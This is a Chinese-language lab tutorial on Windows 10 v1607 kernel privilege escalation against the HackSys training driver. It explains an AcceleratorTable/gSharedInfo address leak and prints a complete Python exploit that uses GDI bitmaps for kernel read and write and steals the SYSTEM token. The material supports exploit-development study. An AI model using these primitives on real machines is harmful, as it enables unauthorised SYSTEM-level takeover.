0x001 前言
之前，我们曾讨论过在Win10 v1511下的内核提权，但微软在Win10 v1607做了一些调整，使得我们无法像在v1511上那样顺利地进行提权。
1.将GDI_CELL结构成员pKernelAddress置空，阻止内核信息泄露；
2.可以发现，某些objects会与Bitmap申请的objects分配在一个内存池之下(paged pool)，利用该结构体成员gSharedInfo泄露出内核地址。
3.虽然无法直接泄露Bitmap objects地址，但可以申请多个objects，通过gSharedInfo结构体成员得到该objects的内核地址，利用UAF让Bitmap objects重新分配到这些内存。
关于在Win10 v1511下的提权技术，可以参考该文章
0x002 调试环境
虚拟机：Windows 10 x64 1607 Jul 2016
主机：Windows 10 x64 1709 Dec 2017
关于环境搭建的细节就不再多说了，参考之前的文章，或者该文章：
Part 10: Kernel Exploitation -> Stack Overflow
0x003 How to Exploit it?
现在先来回顾一下v1511下的利用过程：
1.申请两个hManager, hWorker的Bitmap objects，获得各自pvscan0指针的内核地址；
2.将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，这里需要一个内核任意写漏洞；
3.查询获得当前进程与system进程的token
4.调用API SetBitmapBits、GetBitmapBits，将system进程的token写入当前进程。
如何取得pvscan0指针的内核地址?
先来了解一下User objects，用于内核信息泄露的gSharedInfo成员就藏在User objects里
通过CreateAcceleratorTable创建0x1000 size的加速表，立刻free掉创建的AcceleratorTable，不断重复，当再次请求分配AcceleratorTable与前一个释放掉的AcceleratorTable相同时， 请求分配Bitmap objects，这时pHead指针的地址就是结构成员pKernelAddress所在的位置。
def alloc_free_accelerator_tables():
previous_entry = 0
while (1):
accel_array = ACCEL_ARRAY()
hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
entry = get_entry_from_handle(hAccel)
user32.DestroyAcceleratorTable(hAccel)
if previous_entry == entry:
debug_print ("t[+] Duplicate AcceleratorTable: 0x%X" % entry)
return entry
previous_entry = entry
def get_entry_from_handle(handle):
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
return pHead_ptr.contents.value
因为wintypes不包含这些内核数据结构，所以我们需要定义一下
class ACCEL(Structure):
_fields_ = [("fVirt", BYTE),
("key", WORD),
("cmd", WORD)]
class ACCEL_ARRAY(Structure):
_fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]
debug
通过AcceleratorTable的不断Create、Destroy，Bitmap objects重用AcceleratorTable释放的内存，预测到pvScan0指针的内核地址
获取到，system进程与当前进程的内核地址
注意一下查看几个重要的偏移，不同版本的Win10上可能不一致
Exploit it!
完整的EXP
import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con
kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
user32 = windll.user32
hManager = HBITMAP()
hWorker = HBITMAP()
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class GDICELL64(Structure):
_fields_ = [("pKernelAddress", c_void_p),
("wProcessId", c_ushort),
("wCount", c_ushort),
("wUpper", c_ushort),
("wType", c_ushort),
("pUserAddress", c_void_p)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
class ACCEL(Structure):
_fields_ = [("fVirt", BYTE),
("key", WORD),
("cmd", WORD)]
class ACCEL_ARRAY(Structure):
_fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]
def alloc_free_accelerator_tables():
previous_entry = 0
while (1):
accel_array = ACCEL_ARRAY()
hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
entry = get_entry_from_handle(hAccel)
user32.DestroyAcceleratorTable(hAccel)
if previous_entry == entry:
print "t[+] Duplicate AcceleratorTable: 0x%X" % entry
return entry
previous_entry = entry
def get_entry_from_handle(handle):
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
return pHead_ptr.contents.value
def write_mem(dest, src, length):
global hManager
global hWorker
write_buf = c_ulonglong(dest)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)
def read_mem(src, dest, length):
global hManager
global hWorker
write_buf = c_ulonglong(src)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)
def find_kernelBase(input_modules):
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
#debug_print ("rn[+] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
#debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def main():
global hManager
global hWorker
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
dup_address = alloc_free_accelerator_tables()
gdi32.CreateBitmap.restype = HBITMAP
hManager = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
hManager_pvscan0_off = dup_address + 0x50
print "[+] Manager Bitmap pvscan0 offset: 0x%X" % hManager_pvscan0_off
dup_address = alloc_free_accelerator_tables()
gdi32.CreateBitmap.restype = HBITMAP
hWorker = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
hWorker_pvscan0_off = dup_address + 0x50
print "[+] Worker Bitmap pvscan0 offset: 0x%X" % hWorker_pvscan0_off
write_where = struct.pack("<Q", hManager_pvscan0_off)
write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
write_what_object_ptr = id(write_what_object) + 0x20
write_what_final = struct.pack("<Q", write_what_object_ptr)
buf = write_what_final + write_where
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
kernelImage = "ntoskrnl.exe"
kernelImageBase = find_kernelBase(kernelImage.split())[0]
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "[+] Module Name : {0}".format(kernelImage)
print "[+] Module Base(Userland) : {0}".format(hex(hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))
PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
print "[+] PsInitialSystemProcess Kernel Base Address : {0}".format(hex(PsISP_kernel_addr_ptr))
PsISP_kernel_addr = c_ulonglong()
read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
SYSTEM_EPROCESS = PsISP_kernel_addr.value
print "[+] SYSTEM EPROCESS : {0}".format(hex(SYSTEM_EPROCESS))
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
flink = c_ulonglong()
read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
CURRENT_EPROCESS = 0
while (True):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
EPROCESS = flink.value - unique_process_id_off - 0x8
read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
CURRENT_EPROCESS = EPROCESS
break
read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (EPROCESS == flink.value - unique_process_id_off - 0x8):
break
print "[+] CURRENT EPROCESS : {0}".format(hex(CURRENT_EPROCESS))
system_token = c_ulonglong()
read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
WIN~
该文只是针对Win10 v1607的一种提权技术，在真实应用场景里，还需要找到一个内核任意写漏洞，才能完成整套利用过程。
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